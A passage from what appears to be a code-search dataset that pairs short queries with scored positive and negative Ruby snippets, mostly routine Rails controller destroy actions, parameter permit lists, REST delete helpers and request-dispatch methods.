white_listed_parameters\n params\n .require(:story)\n .permit(:title, :link, :upvotes, :category)\n end", "title": "" }, { "docid": "0b704016f3538045eb52c45442e7f704", "score": "0.59919024", "text": "def admin_params\n filtered_params = params.require(:admin).permit(:display_name, :email, :password, :password_confirmation)\n if filtered_params[:password] == \"\"\n filtered_params.delete(:password)\n filtered_params.delete(:password_confirmation)\n end\n filtered_params\n end", "title": "" }, { "docid": "6af3741c8644ee63d155db59be10a774", "score": "0.5991034", "text": "def allowed_params\n %i[\n lock_version\n comments\n organization\n job_title\n pronouns\n year_of_birth\n gender\n ethnicity\n opted_in\n invite_status\n acceptance_status\n registered\n registration_type\n can_share\n registration_number\n can_photo\n can_record\n name\n name_sort_by\n name_sort_by_confirmed\n pseudonym\n pseudonym_sort_by\n pseudonym_sort_by_confirmed\n ]\n end", "title": "" } ]
b2f84d5e784212cdad429af6a14914eb
DELETE /vinos/1 DELETE /vinos/1.json
[ { "docid": "cc32f05f73e01ed1497f82074fa1eaac", "score": "0.6898324", "text": "def destroy\n @vino.destroy\n respond_to do |format|\n format.html { redirect_to vinos_url, notice: 'Vino was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" } ]
[ { "docid": "179ff0053e8f4f967cb3d92206094cf0", "score": "0.76381564", "text": "def delete_aos_version(args = {}) \n delete(\"/aosversions.json/#{args[:aosVersionId]}\", args)\nend", "title": "" }, { "docid": "b1a17c1ee1af05c79fe156622df44818", "score": "0.7258387", "text": "def delete(path)\n begin\n response = client[path].delete :accept => 'application/json'\n rescue Exception => e\n puts e.inspect\n end\n end", "title": "" }, { "docid": "b445c184893647d3482f8fbc6a507a52", "score": "0.7134048", "text": "def delete(path, params = {})\n path += '.json'\n res = @connection.delete(path, @header)\n parse_response(res)\n end", "title": "" }, { "docid": "4a21726cde9e0a1a061c3fd5077c38a2", "score": "0.706982", "text": "def delete_aos_version_box(args = {}) \n delete(\"/aosversions.json/aosversionbox/#{args[:aosVersionBoxId]}\", args)\nend", "title": "" }, { "docid": "354885868a68e2f864d844b0311babab", "score": "0.70376986", "text": "def destroy\n @lop_mon_hoc_sinh_vien = LopMonHocSinhVien.find(params[:id])\n @lop_mon_hoc_sinh_vien.destroy\n\n respond_to do |format| \n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "773e5d611adeb09776f9c841e1b876cc", "score": "0.70197684", "text": "def delete_json(path, params = {}, headers = {})\n json_request(:delete, path, params, headers)\n end", "title": "" }, { "docid": "c1cde2518cb592b6add14fe05ae1b37d", "score": "0.700731", "text": "def delete\n options = self.to_h \n uri = self.class.path_builder(:delete, self.id)\n data = {}\n data['id'] = self.id \n data = data.to_json\n VivialConnect::Client.instance.make_request('DELETE', uri, data)\n end", "title": "" }, { "docid": "509b70b16670541524387b66f8d522e3", "score": "0.6985523", "text": "def destroy\n @vocero = Vocero.find(params[:id])\n @vocero.destroy\n\n respond_to do |format|\n format.html { redirect_to voceros_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "1381463599d575dc7a58eb0d94f7724f", "score": "0.6964894", "text": "def destroy\n @ovo.destroy\n respond_to do |format|\n format.html { redirect_to ovos_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "918db70cea1dd387d43c307e7f4dfb8d", "score": "0.69511294", "text": "def destroy\n @version_so.destroy\n respond_to do |format|\n format.html { redirect_to version_sos_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "822ddea2e45bf78350003645efcbdb54", "score": "0.6943239", "text": "def delete uri, args = {}; Request.new(DELETE, uri, args).execute; end", "title": "" }, { "docid": "4b51dde8aa555ee79f659f488006cd24", "score": "0.69400525", "text": "def destroy\n @vinho.destroy\n respond_to do |format|\n format.html { redirect_to vinhos_url, notice: 'Vinho was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "fa72140bdb1959090c1b66c470a7e101", "score": "0.6899182", "text": "def destroy\n @vino.destroy\n respond_to do |format|\n format.html { redirect_to vinos_url, notice: \"Vino was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "9106867cee9e8775ba817195d3bc2020", "score": "0.6872228", "text": "def delete_rest(path) \n run_request(:DELETE, create_url(path)) \n end", "title": "" }, { "docid": "75a785bddc2252b3dfe08070dcb44399", "score": "0.6871479", "text": "def delete(args)\n if args[:json]\n post(args.merge(method: :delete))\n else\n get(args.merge(method: :delete))\n end\n end", "title": "" }, { "docid": "7452c4d15daf08108aaa5a1b728adb31", "score": "0.6867931", "text": "def destroy\n @json.destroy\n\n head :no_content\n end", "title": "" }, { "docid": "47a3c9c28e1fcd0fcae5ea58416b42bd", "score": "0.6855671", "text": "def delete(path)\n api :delete, path\n end", "title": "" }, { "docid": "999858806b88ff074da35da7a477acde", "score": "0.68515986", "text": "def destroy\n @votos_urna = VotosUrna.find(params[:id])\n @votos_urna.destroy\n\n respond_to do |format|\n format.html { redirect_to votos_urnas_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "7dd0d41eb4063c90ccbc3e557b4b6842", "score": "0.6836991", "text": "def destroy\n @os.destroy\n respond_to do |format|\n format.html { redirect_to os_index_url, notice: 'Os was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "f89c0f9240e1807850f51bbfad490ae2", "score": "0.6820289", "text": "def destroy\n @enologo_vino.destroy\n respond_to do |format|\n format.html { redirect_to enologo_vinos_url, notice: 'Enologo vino was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "9c8ef0b4313fef9d26c4290371bc530d", "score": "0.68185616", "text": "def delete!\n client.delete(:path => base_path)\n nil\n end", "title": "" }, { "docid": "9410f5d5c06a5d4acee3b61e4f080658", "score": "0.68138766", "text": "def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end", "title": "" }, { "docid": "9410f5d5c06a5d4acee3b61e4f080658", "score": "0.68138766", "text": "def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end", "title": "" }, { "docid": "9410f5d5c06a5d4acee3b61e4f080658", "score": "0.68138766", "text": "def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end", "title": "" }, { "docid": "d13075be1496aff19889c1686ae4c4f5", "score": "0.68073833", "text": "def destroy\n @os_version.destroy\n respond_to do |format|\n format.html { redirect_to os_versions_url, notice: 'Os version was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "57b799133d29316426c358002043baa2", "score": "0.68066937", "text": "def delete_rest(path, headers={}) \n run_request(:DELETE, create_url(path), headers) \n end", "title": "" }, { "docid": "eaee51edd49eb122a210e740b03126ac", "score": "0.6803755", "text": "def destroy\n @ventum = Ventum.find(params[:id])\n @ventum.destroy\n\n respond_to do |format|\n format.html { redirect_to venta_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "253cd6c76d7f8c6f6e844e40e8e10e7b", "score": "0.6786014", "text": "def destroy\n @voo.destroy\n respond_to do |format|\n format.html { redirect_to voos_url, notice: 'Voo was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "e15c461fab22555d5dcd399dc1ad0e45", "score": "0.67847717", "text": "def destroy\n @viajero.destroy\n respond_to do |format|\n format.html { redirect_to viajeros_url, notice: 'Viajero was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "0b24cbc6495df3923ea7679acbcd8deb", "score": "0.6784312", "text": "def delete_floor_plan(args = {}) \n delete(\"/files.json/floorplan/images\", args)\nend", "title": "" }, { "docid": "d1b398d2a2cb96fe7973b495d53d751e", "score": "0.6783779", "text": "def destroy\n @ventum.destroy\n respond_to do |format|\n format.html { redirect_to venta_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "8a67da3c0a80239b790a14b51d559de9", "score": "0.6781692", "text": "def destroy\n render json: @api_v1_client if @api_v1_client.destroy\n end", "title": "" }, { "docid": "774c580d2d355629943a5fbecd5aa9d4", "score": "0.6775039", "text": "def destroy\n @zveno = Zveno.find(params[:id])\n @zveno.destroy\n\n respond_to do |format|\n format.html { redirect_to zvenos_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "4c1c164b581dbae14285797e584e8fb7", "score": "0.6764014", "text": "def delete_tenant_circle(args = {}) \n delete(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend", "title": "" }, { "docid": "1691790ee2ee34cc8e6be6f7bb8d7f8d", "score": "0.67574286", "text": "def delete\n client.delete uri\n end", "title": "" }, { "docid": "1691790ee2ee34cc8e6be6f7bb8d7f8d", "score": "0.67574286", "text": "def delete\n client.delete uri\n end", "title": "" }, { "docid": "ba67ebd85114998e01be10599c8943ca", "score": "0.6756197", "text": "def delete(path)\n RestClient.delete request_base+path\n end", "title": "" }, { "docid": "2257875e75156614d75b6f6cfb4ebed3", "score": "0.67534626", "text": "def destroy\n @os = Os.find(params[:id])\n @os.destroy\n\n respond_to do |format|\n format.html { redirect_to oss_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "69dcd8da44abfae52e478b092470c353", "score": "0.6747187", "text": "def destroy\n @nova = Nova.find(params[:id])\n @nova.destroy\n\n respond_to do |format|\n format.html { redirect_to novas_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "6059f86de99c9a06dbbdf082dbf1c9f7", "score": "0.6744357", "text": "def destroy\n @vine = Vine.find(params[:id])\n @vine.destroy\n\n respond_to do |format|\n format.html { redirect_to vines_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "6a3c5e6f9728eed2ef43eb1aa789fcfe", "score": "0.67405117", "text": "def destroy\n @vito.destroy\n respond_to do |format|\n format.html { redirect_to vitos_url, notice: 'Vito was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "4732fe8a97d054cdafd2c26103d64f10", "score": "0.6726422", "text": "def destroy\n @vereador = Vereador.find(params[:id])\n @vereador.destroy\n\n respond_to do |format|\n format.html { redirect_to vereadores_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "27d96cb91ab396167cf3f3e42844ec3b", "score": "0.6724956", "text": "def destroy\n @vigencia_ofertum = VigenciaOferta.find(params[:id])\n @vigencia_ofertum.destroy\n\n respond_to do |format|\n format.html { redirect_to vigencia_oferta_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "174b723f9e43bfa7501a9cdc389e4c1b", "score": "0.672156", "text": "def delete\n @response = self.class.delete(\"#{@server_uri}/resource_name/#{@opts[:id]}.json\")\n end", "title": "" }, { "docid": "2a540bd1c1d218237b27e2dded110090", "score": "0.67118853", "text": "def destroy\n @oferta_voluntariado = OfertaVoluntariado.find(params[:id])\n @oferta_voluntariado.destroy\n\n respond_to do |format|\n format.html { redirect_to oferta_voluntariado_index_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "d9433e55c725185fccf507462ee0abb7", "score": "0.6698854", "text": "def destroy\n @voto.destroy\n\n head :no_content\n end", "title": "" }, { "docid": "2fa0a3656e86962ca1a10fa31aede189", "score": "0.6697844", "text": "def destroy\n @productos_json.destroy\n respond_to do |format|\n format.html { redirect_to productos_jsons_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "00c90bc63b0302afbbc4b2979ae20b57", "score": "0.6696152", "text": "def api_delete(path, data = {})\n api_request(:delete, path, :data => data).parsed\n end", "title": "" }, { "docid": "c425f32e4394908dbf9c391f599e31cb", "score": "0.669442", "text": "def destroy\n @vistum.destroy\n respond_to do |format|\n format.html { redirect_to vista_url, notice: 'Vistum was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "ac6ce581a27e69d0fc21ae3d9c02ce26", "score": "0.6694338", "text": "def delete\n self.class.headers 'Authorization' => \"OAuth #{ENV['sfdc_token']}\"\n self.class.headers 'Content-Type' => \"application/json\"\n response = self.class.delete(SObject.root_url+\"/sobjects/#{@object_name}/#{@Id}\")\n raise response.parsed_response[0]['message'] if response.code.to_i > 299\n nil\n end", "title": "" }, { "docid": "5bd11f7914ed312c2c8bb3613f0f0412", "score": "0.66916245", "text": "def destroy\n @service_version_so.destroy\n respond_to do |format|\n format.html { redirect_to service_version_sos_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "6a19ba99f0d1f7225b5ed73fe068136d", "score": "0.66891867", "text": "def delete(path, params: {}, headers: {})\n request_json :delete, path, params, headers\n end", "title": "" }, { "docid": "f67af04af1804ca86e6a85da2276395a", "score": "0.6688543", "text": "def destroy\n @rv = RV.find(params[:id])\n @rv.destroy\n\n respond_to do |format|\n format.html { redirect_to rvs_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "f737ea22b9ce8fdecf8dcae0fac5b184", "score": "0.66884", "text": "def destroy\n @votacion.destroy\n respond_to do |format|\n format.html { redirect_to votacions_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "4bccb7ee1ddb98667fc5e70cdd42e292", "score": "0.6688337", "text": "def destroy\n @objeto = Objeto.find(params[:id])\n @objeto.destroy\n\n respond_to do |format|\n format.html { redirect_to objetos_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "0387aa3c568d857184e97a214e580a14", "score": "0.66873986", "text": "def delete(path, params = {}, payload = {})\n JSON.parse Generic.delete(@base_url, @headers, path, params, payload)\n end", "title": "" }, { "docid": "6f5665811723f85aae2d604845635601", "score": "0.66857064", "text": "def destroy\n @voto.destroy\n respond_to do |format|\n format.html { redirect_to voti_url, notice: 'Voto was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "10b6fcb0224d5023bd428a95612325c2", "score": "0.66808295", "text": "def destroy\n @ventas_cliente = Ventas::Cliente.find(params[:id])\n @ventas_cliente.destroy\n\n respond_to do |format|\n format.html { redirect_to ventas_clientes_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "e3ea90f717278b79d8908e5b537926be", "score": "0.6680468", "text": "def delete(path)\n client.delete(\"/v1/#{encode_path(path)}\")\n return true\n end", "title": "" }, { "docid": "6ed551fff706fe2e43482d21efa80cb0", "score": "0.66801596", "text": "def destroy\n @orden_servicio = OrdenServicio.find(params[:id])\n @orden_servicio.destroy\n\n respond_to do |format|\n format.html { redirect_to ordenes_servicios_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "ff46341d71f9a00c00c6101479ceef0c", "score": "0.6676555", "text": "def rest_delete(path, options = {}, api_ver = @api_version)\n rest_api(:delete, path, options, api_ver)\n end", "title": "" }, { "docid": "ff46341d71f9a00c00c6101479ceef0c", "score": "0.6676555", "text": "def rest_delete(path, options = {}, api_ver = @api_version)\n rest_api(:delete, path, options, api_ver)\n end", "title": "" }, { "docid": "c53a7ddfb5f66bdab62b1fc4305a0473", "score": "0.66744804", "text": "def delete *args\n make_request :delete, *args\n end", "title": "" }, { "docid": "09f6303f18ce5612216026bdd448d644", "score": "0.66736877", "text": "def api_delete(path)\n api_request(Net::HTTP::Delete.new(path))\n end", "title": "" }, { "docid": "63785b88cf5854b9c716639d89136d3a", "score": "0.6671497", "text": "def destroy\n @observacao_vocacionado = ObservacaoVocacionado.find(params[:id])\n @observacao_vocacionado.destroy\n\n respond_to do |format|\n format.html { redirect_to :action => :index , :vocacionado => @observacao_vocacionado.vocacionado_id }\n format.json { head :no_content } \n end\n end", "title": "" }, { "docid": "1733f264000fc701549211c7211b3f66", "score": "0.66709703", "text": "def destroy\n @oid.destroy\n respond_to do |format|\n format.html { redirect_to oids_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "7c66b3b006d66a6117a08b4dfaf0035b", "score": "0.6665888", "text": "def destroy\n @voto.destroy\n respond_to do |format|\n format.html { redirect_to votos_url, notice: 'Voto was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "6ddb3a30fb9171251d0cce7e2fb62cef", "score": "0.66643107", "text": "def destroy\n @otu.destroy\n respond_to do |format|\n format.html { redirect_to otus_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "ebafd1fd4b7b54ef67a245eab9461ec4", "score": "0.6662684", "text": "def destroy\n @visorium.destroy\n respond_to do |format|\n format.html { redirect_to visoria_url, notice: t('visoria.alert_error') }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "b74173c3025443b9e5311abe69b176e4", "score": "0.6661569", "text": "def destroy\n @vox = Vox.find(params[:id])\n @vox.destroy\n\n respond_to do |format|\n format.html { redirect_to voxes_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "91ad63a042e5b9d1ef915de587707ab7", "score": "0.66598195", "text": "def destroy\n @versao.destroy\n respond_to do |format|\n format.html { redirect_to versoes_url, notice: 'Versao was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "28b5b8b0a6881509ac5d2dda82e3c021", "score": "0.6659198", "text": "def destroy\n @ato.destroy\n respond_to do |format|\n format.html { redirect_to atos_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "dbe32bf34ec54c78f28f9de24cc11c83", "score": "0.6658766", "text": "def destroy\n @otu = Otu.find(params[:id])\n @otu.destroy\n\n respond_to do |format|\n format.html { redirect_to otus_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "a34bfda60c936db17c9b71af42d54ded", "score": "0.6657864", "text": "def delete\n # TODO: validate returned json fits schema\n @json = @interface.delete_by_id @json['id']\n end", "title": "" }, { "docid": "f10ec797a3271c529c643f1ddc60c092", "score": "0.6657012", "text": "def destroy\r\n @client1.destroy\r\n respond_to do |format|\r\n format.html { redirect_to client1s_url }\r\n format.json { head :no_content }\r\n end\r\n end", "title": "" }, { "docid": "33ae3fbaabb68170de9f95477c22d5d1", "score": "0.6656356", "text": "def delete_json(path)\n retries = 0\n begin\n return resource(path).delete()\n rescue => e\n if e.kind_of?(RestClient::Exception) and e.http_code == 503 and retries < RETRY_503_MAX\n # the G5K REST API sometimes fail with error 503. In that case we should just wait and retry\n puts(\"G5KRest: DELETE #{path} failed with error 503, retrying after #{RETRY_503_SLEEP} seconds\")\n retries += 1\n sleep RETRY_503_SLEEP\n retry\n end\n handle_exception(e)\n end\n end", "title": "" }, { "docid": "ae0ace6a7727a70faa73f073da31289f", "score": "0.6655017", "text": "def destroy\n @servico = Servico.find(params[:id])\n @servico.destroy\n\n respond_to do |format|\n format.html { redirect_to servicos_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "ae0ace6a7727a70faa73f073da31289f", "score": "0.6655017", "text": "def destroy\n @servico = Servico.find(params[:id])\n @servico.destroy\n\n respond_to do |format|\n format.html { redirect_to servicos_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "ae0ace6a7727a70faa73f073da31289f", "score": "0.6655017", "text": "def destroy\n @servico = Servico.find(params[:id])\n @servico.destroy\n\n respond_to do |format|\n format.html { redirect_to servicos_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "b7aa5afb0632d570794ea7a026498672", "score": "0.6651482", "text": "def destroy\n @clientetipo = Clientetipo.find(params[:id])\n @clientetipo.destroy\n\n respond_to do |format|\n format.html { redirect_to clientetipos_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "a643c94ebbba7510464dcd593cd41c9e", "score": "0.66409737", "text": "def destroy\n @youversion.destroy\n respond_to do |format|\n format.html { redirect_to youversions_url, notice: 'Youversion was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "1b2220a10a38c591c7e7dde1a82314ff", "score": "0.6638725", "text": "def destroy\n @venta = Venta.find(params[:id])\n @venta.destroy\n\n respond_to do |format|\n format.html { redirect_to ventas_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "f0ab17302e04f49ec00517b4dc570d4b", "score": "0.66366124", "text": "def destroy\n @vulnerability_version_so.destroy\n respond_to do |format|\n format.html { redirect_to vulnerability_version_sos_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "363dd3200a18e2a9dab03276a6092a5c", "score": "0.66360205", "text": "def destroy\n venue = Venue.find(params[:id])\n venue.destroy\n head 204\n end", "title": "" }, { "docid": "659dcbd8b16a45788e0377e5285a8edd", "score": "0.6632234", "text": "def destroy\n @version.destroy\n respond_to do |format|\n format.html { redirect_to versions_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "5c181505ac0deedddfba684db419e428", "score": "0.66266525", "text": "def delete\n render json: Own.delete(params[\"id\"])\n end", "title": "" }, { "docid": "3ccd2fbecbaa95071b33c865c59c07fc", "score": "0.6624571", "text": "def delete(*args)\n RubyKong::Request::Api.delete args[0]\n end", "title": "" }, { "docid": "89e4d9d1ce92e7e34c141d9bdcc82fa9", "score": "0.66230714", "text": "def destroy\n @serv = Serv.find(params[:id])\n @serv.destroy\n\n respond_to do |format|\n format.html { redirect_to servs_url, notice: t('servs.delete.notice') }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "67e3f5f13583cf8af93658ec86bf61f7", "score": "0.6620319", "text": "def destroy\n @oneroom.destroy\n respond_to do |format|\n format.html { redirect_to onerooms_url, notice: 'Oneroom was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "109f8b2ba9f94106264592ac0f6c7984", "score": "0.6619931", "text": "def destroy\n @toushikomon = Toushikomon.find(params[:id])\n @toushikomon.destroy\n\n respond_to do |format|\n format.html { redirect_to toushikomons_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "4988625ad5e961de9a788b2ca8238053", "score": "0.66188526", "text": "def destroy\n @v1_request.destroy\n respond_to do |format|\n format.html { redirect_to v1_requests_url, notice: 'Request was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "18f4ecb82975616345bb63574d81a3f6", "score": "0.6617342", "text": "def destroy\n @sorvete = Sorvete.find(params[:id])\n @sorvete.destroy\n\n respond_to do |format|\n format.html { redirect_to sorvetes_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "27293281dd5881ca4f5ff6eec14f0eec", "score": "0.66173387", "text": "def destroy\n @villa = Villa.find(params[:id])\n @villa.destroy\n\n respond_to do |format|\n format.html { redirect_to villas_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "27293281dd5881ca4f5ff6eec14f0eec", "score": "0.66173387", "text": "def destroy\n @villa = Villa.find(params[:id])\n @villa.destroy\n\n respond_to do |format|\n format.html { redirect_to villas_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "2ea6cf0c32693a839c5d6f5a859d2270", "score": "0.66162765", "text": "def destroy\n @ventaunidad.destroy\n respond_to do |format|\n format.html { redirect_to ventaunidads_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "887432e4b57a71666f432ad34958877c", "score": "0.6613398", "text": "def destroy\n @solicitud = Solicitud.find(params[:id])\n @solicitud.destroy\n\n respond_to do |format|\n format.html { redirect_to root_path }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "a3c541f14459e116655c873dfe7c85f3", "score": "0.6612778", "text": "def v3_delete(path)\n # Expire cached objects from here on down\n expire_matching \"#{parent_path(path)}.*\"\n # Create request parameters\n delete_params = { \n :method => \"delete\" \n }\n # Request\n v3_do_request(delete_params, path)\n end", "title": "" }, { "docid": "490732ed145d1b57ebca9c40d62974d8", "score": "0.6611222", "text": "def destroy\n @inventario = Inventario.find(params[:id])\n @inventario.destroy\n\n respond_to do |format|\n format.html { redirect_to inventarios_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "7ac9616f9a7353d9bd6e82f364aa4943", "score": "0.6609987", "text": "def delete_mobile_carrier(args = {}) \n delete(\"/mobile.json/#{args[:carrierId]}\", args)\nend", "title": "" }, { "docid": "7ac9616f9a7353d9bd6e82f364aa4943", "score": "0.6609987", "text": "def delete_mobile_carrier(args = {}) \n delete(\"/mobile.json/#{args[:carrierId]}\", args)\nend", "title": "" } ]
78bd15a26df15155f0d06877766636bf
Requests a dispatch if a response is needed, then updates full_response.
[ { "docid": "97c02f8ad23578214b998da2c53c1efa", "score": "0.78014404", "text": "def dispatch!\n full_response! if !response_required? || Responder.dispatch_for(self)\n end", "title": "" } ]
[ { "docid": "93f6602cd207c09776b47605a1755777", "score": "0.7016494", "text": "def dispatch(response = Response.new(self, shell))\n @response ||= response\n end", "title": "" }, { "docid": "b3326c5cb130068e960cd84c12d8b684", "score": "0.61500335", "text": "def do_dispatch!\n dispatch!\n end", "title": "" }, { "docid": "dbb38a54c83a8aa899a24405180454ec", "score": "0.60600847", "text": "def dispatch!\n @dispatch ||= begin\n if feedback.nil?\n raise Wirecard::Elastic::Error, \"The request was not successful\"\n else\n self\n end\n end\n end", "title": "" }, { "docid": "eea84ad53d0e7873c4595086217e2640", "score": "0.601219", "text": "def live_response\n if response = api_client.fetch(@api_request)\n build_response(response)\n end\n end", "title": "" }, { "docid": "23720961ff14224ff70caeb17eed8350", "score": "0.58725613", "text": "def dispatch_again(bot = nil, update = nil)\n recycle!\n initialize(bot, update)\n dispatch\n end", "title": "" }, { "docid": "23720961ff14224ff70caeb17eed8350", "score": "0.58725613", "text": "def dispatch_again(bot = nil, update = nil)\n recycle!\n initialize(bot, update)\n dispatch\n end", "title": "" }, { "docid": "c21e49426c4dbece0ea01c0239c2b7ed", "score": "0.57629025", "text": "def perform_request\n ## Perform request\n @request.send(method, action, params)\n\n ## Set response\n @response = @request.response\n end", "title": "" }, { "docid": "90bbf97c62fccb3995e861885bb0e820", "score": "0.5748259", "text": "def live_response\n if response = api_client.fetch(@api_request)\n cache.write(@api_request.cache_key, response)\n build_response(response)\n end\n end", "title": "" }, { "docid": "bfc6c7eecb701b9873201d080f747153", "score": "0.5743571", "text": "def dispatch!\n params[\"action\"] ||= params[:action]\n params[:format] ||= params[\"format\"]\n\n if logger\n logger.info \"Request: #{request.path}\"\n logger.info \"Params: #{params.inspect}\"\n end\n\n # Check that the action is available\n raise Errors::NotFound, \"No Action Found\" unless allowed_action?(params[\"action\"])\n\n @action_opts = actions[params[\"action\"]]\n if params[:format]\n @content_type, ct, @mime_type = Pancake::MimeTypes.negotiate_by_extension(params[:format].to_s, @action_opts.formats)\n else\n @content_type, ct, @mime_type = Pancake::MimeTypes.negotiate_accept_type(env[\"HTTP_ACCEPT\"], @action_opts.formats)\n end\n\n raise Errors::NotAcceptable unless @content_type\n\n logger.info \"Dispatching to #{params[\"action\"].inspect}\" if logger\n\n # set the response header\n headers[\"Content-Type\"] = ct\n\n result = catch(:halt){ self.send(params['action']) }\n case result\n when Array\n result\n when Rack::Response\n result.finish\n else\n Rack::Response.new((result || \"\"), status, headers).finish\n end\n\n rescue Errors::HttpError => e\n if logger\n logger.error \"Exception: #{e.message}\"\n logger.error e.backtrace.join(\"\\n\")\n end\n handle_request_exception(e)\n rescue Exception => e\n if Pancake.handle_errors?\n server_error = Errors::Server.new(e.message)\n server_error.exceptions << e\n server_error.set_backtrace e.backtrace\n else\n server_error = e\n end\n handle_request_exception(server_error)\n end", "title": "" }, { "docid": "8a13bf4ce3e81dee3d22c7e361fb3a2c", "score": "0.5726709", "text": "def dispatch(name, req, res); end", "title": "" }, { "docid": "34de1cbd4255acbb674b9ad844d9979b", "score": "0.5715128", "text": "def do_response\n call! self.class.resp_handlers\n end", "title": "" }, { "docid": "4241ce9faaf72db44a259d1a6a42efea", "score": "0.56832856", "text": "def do_request\n\t\t\tself.response = get_request(options)\n\t\tend", "title": "" }, { "docid": "4241ce9faaf72db44a259d1a6a42efea", "score": "0.56832856", "text": "def do_request\n\t\t\tself.response = get_request(options)\n\t\tend", "title": "" }, { "docid": "c9513c29f7b43ca9cb34d43d90e9139e", "score": "0.5682417", "text": "def dispatch_request(request)\n dispatch(request.uri, request.method)\n end", "title": "" }, { "docid": "b040cc5a110ded0152b0e005246b7bc9", "score": "0.5681075", "text": "def handleResponse(context, dispatch_destination = nil)\n\t\t\tcontext.phase = :handleResponse\n\t\t\treturn if context.do_not_render\n\t\t\t@currentPage = Component.pageNamed(dispatch_destination.component,self,nil,nil,nil) if dispatch_destination and dispatch_destination.component\n\t\t\t@currentPage = startingPage unless @currentPage\n\t\t\tif !dispatch_destination.nil? and (ddm = dispatch_destination.method) and !FCM.has_key?(ddm)\n\t\t\t\tcontext.phase = :handleRequest\n\t\t\t\tverb_specific_method = \"#{ddm}_#{context.request.request_method.upcase}\"\n\t\t\t\tddm = verb_specific_method if @currentPage.respond_to?(verb_specific_method)\n\t\t\t\tif @currentPage.respond_to?(ddm)\n\t\t\t\t\[email protected](@currentPage.class.name)\n\t\t\t\t\t@currentPage = context.invokeAction(@currentPage,ddm,dispatch_destination.args) || @currentPage\n\t\t\t\telse\n\t\t\t\t\t@currentPage = startingPage\n\t\t\t\tend\n\t\t\t\tcontext.phase = :handleResponse\n\t\t\tend\n\t\t\t\t\n\t\t\tfp = @currentPage.fingerprint\n\t\t\tif fp and @application.rendered_content.has_key?(fp)\n\t\t\t\trc = @application.rendered_content[fp]\n\t\t\t\tcontext.response_buffer << rc[0]\n\t\t\t\tcontext.response.content_type = rc[1]\n\t\t\t\trc[2].each do |k,v|\n\t\t\t\t\tcontext.response.headers[k] = v\n\t\t\t\tend\n\t\t\telse\n\t\t\t\tcontext.requestID = @requestCount unless @currentPage.replaceable? or (@fragment and @fragment.replaceable?)\n\t\t\t\tunless @fragment\n\t\t\t\t\[email protected](context)\n\t\t\t\telse\n\t\t\t\t\[email protected](context)\n\t\t\t\tend\n\t\n\t\t\t\t# The Session delays creating the pagecache until it is needed.\n\t\t\t\t# This is a performance boost for the most common case, which is\n\t\t\t\t# a page with some dynamic content, but no form elements or\n\t\t\t\t# dynamic urls that depend on a cached page for 